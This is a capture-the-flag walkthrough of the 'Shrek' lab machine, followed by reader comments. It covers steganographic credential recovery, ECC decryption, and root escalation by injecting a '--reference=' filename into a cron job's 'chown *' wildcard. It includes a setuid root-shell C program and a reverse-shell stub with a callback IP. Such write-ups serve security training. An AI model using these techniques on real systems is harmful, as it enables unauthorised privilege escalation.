Shrek Writeup by Booj

Shrek, also known as steganography ■■■■, or ‘How the ■■■■ was anyone supposed to know to do that 7ckm3?’. It’s very much the resident CTF box, so techniques like steganography are more common than service mis-configurations. Also to be expected is a lot of trolling. In all honesty there’s a large burden of knowledge in this one with very little direction, but a couple of interesting techniques are still present.

Enumeration

Start a port scan and we three exposed services:

PORT   STATE SERVICE VERSION 
21/tcp open  ftp     vsftpd 3.0.3 
22/tcp open  ssh     OpenSSH 7.5 (protocol 2.0) 
| ssh-hostkey:  
|   2048 2d:a7:95:95:5d:dd:75:ca:bc:de:36:2c:33:f6:47:ef (RSA) 
|   256 b5:1f:0b:9f:83:b3:6c:3b:6b:8b:71:f4:ee:56:a8:83 (ECDSA) 
|_  256 1f:13:b7:36:8d:cd:46:6c:29:6d:be:e4:ab:9c:24:5b (EdDSA) 
80/tcp open  http    Apache httpd 2.4.27 ((Unix)) 
| http-methods:  
|_  Potentially risky methods: TRACE 
|_http-server-header: Apache/2.4.27 (Unix) 
|_http-title: Home 

The website exposed is just a strange Shrek fan-page with a number of memes chucked in. A quick dirbuster scan reveals an interesting directory however:

Dir found: /uploads/ - 200 

All that’s exposed in this is a directory listing with a number of scripts and shells which don’t run.

In secret_ultimate.php however, we find the following:

set_time_limit (0); 
$VERSION = "1.0"; 
$end_path = site/secret_area_51 // friggin' finally found the secret dir!! 
$ip = '10.10.14.63';  // CHANGE THIS 
$port = 1234;       // CHANGE THIS 

So the file is giving us a hint that we should check out the secret_area_51 directory. Navigating to it in our web browser we’re greeted by another exposed directory listing, but just an mp3 in this one.

As promised it’s an MP3 of Smash Mouth All Star, with a large amount of static near the end, so steganography is probably the name of the game here. Least Significant Bit and a search for plaintext strings don’t lead to much, so instead we open it up within Audio Visualizer and look at the spectrogram. One way of hiding information is by literally encoding images within the spectrogram.

As expected, we see FTP creds hidden within the audio file

donkey:d0nk3y1337!

-rw-r--r--    1 0        0            6144 Jan 19 07:22 03083c52cef548fdaa416b0f4385e016.txt 
-rw-r--r--    1 0        0           13312 Jan 19 07:22 167870c72de04b14b9801024efaa5d7a.txt 
-rw-r--r--    1 0        0           14336 Jan 19 07:22 1722b00bebb84cb7a4fe84b637e12665.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 198ddc5419864b1c8c90472e4a9de0bf.txt 
-rw-r--r--    1 0        0           14336 Jan 19 07:22 1d1f905b89c04a5f806a7f1979d8b1b3.txt 
-rw-r--r--    1 0        0            3502 Jan 19 07:22 2122db136dcf47b9bf1ecd3a01982cec.txt 
-rw-r--r--    1 0        0           10240 Jan 19 07:22 270e92f594044c818b698868a21b772f.txt 
-rw-r--r--    1 0        0           11264 Jan 19 07:22 2cb3ff68f5b648268d716eaa98e40ba1.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 372a10426e584b42a53357e933bc8d85.txt 
-rw-r--r--    1 0        0           14336 Jan 19 07:22 3c6619d39839414c9fdbe91e1937a9a6.txt 
-rw-r--r--    1 0        0            9216 Jan 19 07:22 4cce50f2926e4578b985ef2953a6b5a4.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 5fd14ca0476b4e28babdd423c207f2c2.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 606e4b3d641b471ea53fd5c348bbb610.txt 
-rw-r--r--    1 0        0            9216 Jan 19 07:22 72ff34474ce747529e188c7a6ee93df6.txt 
-rw-r--r--    1 0        0            4096 Jan 19 07:22 74c8965a356c43cfbb9504b2ab3b3b46.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 7e2775451cb34dffa1c0a86d7361f995.txt 
-rw-r--r--    1 0        0            7168 Jan 19 07:22 8da87b75c64243009740d30baa55c71a.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 9693709148b44762a53b03bfd3a3f04d.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 9af3d03ca63a43778ff10570439c1c0d.txt 
-rw-r--r--    1 0        0            3072 Jan 19 07:22 a19257e19ff943b6b4d8ad88285b31cc.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 a37390c62a9b4b14b0a1d61da4736e1e.txt 
-rw-r--r--    1 0        0            9246 Jan 19 07:22 a3e4d6a1bc6c4220ab3a199e5a9352a9.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 af1c926853814e919d0151eebbc2fd61.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 b6d1325e3b5b463096fcb2ef7a6b7adc.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 baf490d3b73d40ae8eca7bf558d6c3f7.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 c1d035b913a544319ae5723540f8fa87.txt 
-rw-r--r--    1 0        0            8192 Jan 19 07:22 c551f50d2b064b17a1bd11df5fc64a15.txt 
-rw-r--r--    1 0        0           12288 Jan 19 07:22 cd4914f5c60a4c0eab6b919d93c94a1c.txt 
-rw-r--r--    1 0        0            5120 Jan 19 07:22 d831052cd5eb421c8e53f54858275e60.txt 
-rw-r--r--    1 0        0           15360 Jan 19 07:22 e12e8441faa146e88e10ab3c26d390aa.txt 
-rw-r--r--    1 0        0           11264 Jan 19 07:22 f24bd832e0ac4350a5d43545e24c0bba.txt 
-rw-r--r--    1 0        0            1766 Aug 16 00:48 key 

We have a password protected SSH key, but no username to use it with, and

Run mget * within your ftp client to download everything to your local pc, and then cat *.txt to view all txt files.

We’re looking for anything out of the ordinary and within our files we see two base64 strings which are clearly visible within the text.

UHJpbmNlQ2hhcm1pbmc= 
J1x4MDFceGQzXHhlMVx4ZjJceDE3VCBceGQwXHg4YVx4ZDZceGUyXHhiZFx4OWVceDllflAoXHhmN1x4ZTlceGE1XHhjMUtUXHg5YUlceGRkXFwhXHg5NXRceGUxXHhkNnBceGFhInUyXHhjMlx4ODVGXHgxZVx4YmNceDAwXHhiOVx4MTdceDk3XHhiOFx4MGJceGM1eVx4ZWM8Sy1ncDlceGEwXHhjYlx4YWNceDlldFx4ODl6XHgxM1x4MTVceDk0RG5ceGViXHg5NVx4MTlbXHg4MFx4ZjFceGE4LFx4ODJHYFx4ZWVceGU4Q1x4YzFceDE1XHhhMX5UXHgwN1x4Y2N7XHhiZFx4ZGFceGYwXHg5ZVx4MWJoXCdRVVx4ZTdceDE2M1x4ZDRGXHhjY1x4YzVceDk5dyc= 

Decoding these, we get what looks like a series of bytes and a password.

PrinceCharming 
'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K-gp9\xa0\xcb\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w' 

Now this is where the hard part comes in! This looks like the result of encryption and the key, but how do you identify the algorithm used? In all honesty, as far as I’m aware, there’s no easy answer on how to solve this without trying a large number of different algorithms.

Working through a list such as this one can be useful but you still may come up lacking. Most of people’s time was spent on this stage when the device was first released, as a result.

To cut a long story short, after a bit of trial and error the result was encrypted with the Elliptic Curve Cryptography Algorithm. This is mostly commonly used in phones as an alternative to RSA due to it’s lower power requirements. For this we’ll be using the seccure tool:

import seccure 
second = "\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa\"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec<K-gp9\xa0\xcb\xac\x9et\x89z\x13\x15\x94Dn\xeb\x95\x19[\x80\xf1\xa8,\x82G`\xee\xe8C\xc1\x15\xa1~T\x07\xcc{\xbd\xda\xf0\x9e\x1bh\'QU\xe7\x163\xd4F\xcc\xc5\x99w" 
print seccure.decrypt(second, "PrinceCharming") 

Running this outputs The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec. So lets SSH to the box.

Privilege Escalation

So after a lot of searching, and a tonne of rabbit holes, we stumble across the /usr/src directory which has something very odd going on. It appears to be owned by our user sec and not root as it should be.

[sec@shrek usr]$ ls -la 
total 104 
drwxr-xr-x  8 sec  root  4096 Aug 16 00:59 . 
drwxr-xr-x 17 root root  4096 Aug  9 04:05 .. 
drwxr-xr-x  5 root root 36864 Aug 16 00:59 bin 
drwxr-xr-x 92 root root 12288 Aug 16 00:13 include 
drwxr-xr-x 67 root root 28672 Aug 16 00:13 lib 
lrwxrwxrwx  1 root root     3 Mar 26  2017 lib64 -> lib 
drwxr-xr-x 11 root root  4096 Aug  9 04:05 local 
lrwxrwxrwx  1 root root     3 Mar 26  2017 sbin -> bin 
drwxr-xr-x 71 root root  4096 Aug  9 05:39 share 
drwxr-xr-x  2 sec  root  4096 Aug 23 11:30 src 

Within, we find a single file, thoughts.txt with a Shrek quote within. This file is owned by root but writeable by us.

[sec@shrek src]$ ls -la 
total 12 
drwxr-xr-x 2 sec  root 4096 Aug 23 11:30 . 
drwxr-xr-x 8 sec  root 4096 Aug 16 00:59 .. 
-rw-r--r-- 1 root root   91 Aug 22 00:51 thoughts.txt 
[sec@shrek src]$ cat thoughts.txt 
That must be Lord Farquaad's castle... 
Do you think he's maybe compensating for something? 

After some testing of this directory, we decide to see if anything happens when we create a file.

[sec@shrek src]$ touch help.txt 
[sec@shrek src]$ ls -la 
total 12 
drwxr-xr-x 2 sec  root  4096 Jan 21 15:19 . 
drwxr-xr-x 8 sec  root  4096 Aug 16 00:59 .. 
-rw-r--r-- 1 sec  users    0 Jan 21 15:19 help.txt 
-rw-r--r-- 1 root root    91 Aug 22 00:51 thoughts.txt 

Nothing initially, but after a few minutes we see that this file has had its owner changed to the nobody user.

[sec@shrek src]$ ls -la 
total 12 
drwxr-xr-x 2 sec    root   4096 Jan 21 15:19 . 
drwxr-xr-x 8 sec    root   4096 Aug 16 00:59 .. 
-rw-r--r-- 1 nobody nobody    0 Jan 21 15:19 help.txt 
-rw-r--r-- 1 root   root     91 Aug 22 00:51 thoughts.txt 

This appears to be a similar class of vulnerability to the one found in the Joker machine. Effectively, they appear to be doing something akin to chown nobody:nobody * within a cron job. We can abuse the bash wildcard expansion by passing in a file which will appear during expansion to be an option to chown. See here for details on this vulnerability. We simply need to create a file --reference=thoughts.txt and all files within this directory will become owned by root as thoughts.txt is owned by root.

Let’s create a binary to spawn a shell:

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
int main( int argc, char *argv[] ) 
{ 
setresuid(0, 0); 
printf("ID: %d\n", geteuid()); 
execve("/bin/sh", NULL, NULL); 
} 

We now compile it, and set the output binary to be setuid.

[sec@shrek src]$ gcc shell.c -o shell 
[sec@shrek src]$ chmod u+s shell 

Wait a few minutes and:

We have a root owned suid shell. We just run it to get root privileges:

Shrek got Shrekt!

Just wanted to say we dog on stego a lot in CFT’s, but it isn’t something that is just to make life ■■■■. It is used in the ‘real world’ everyday and stego made the cyber news twice this past week. Just my two cents.
Great write up by the way. I liked that it was brisk and covered all the bases. Plus it was a lot faster to go over then a video based write up. Cheers.

Thanks man. I totally overlooked the uploads directory at first thinking it was just trash from other users.

I am having troubles trying to understand why the thoughts.txt file is not affected by the chown nobody:nobody *. Can someone explain this?

This is the python script which is changing the permissions inside that folder:

#!/usr/bin/python    
from subprocess import run, PIPE, DEVNULL
    
find = run(["/usr/bin/find", "/usr/src", "-perm", "-4000"], stdout=PIPE, stderr=DEVNULL, encoding="utf-8").stdout.split('\n')[:-1]
    
chown = run(["cd /usr/src; /usr/bin/chown nobody:nobody *"], stderr=DEVNULL, shell=True)
    
for suid in find:
    chmod = run(["/usr/bin/chmod", "+s", suid],stderr=DEVNULL)

@grd thoughts.txt has the immutable flag (chattr +i). Check the command: lsattr thoughts.txt

@alamot thanks a lot! didn’t know about it!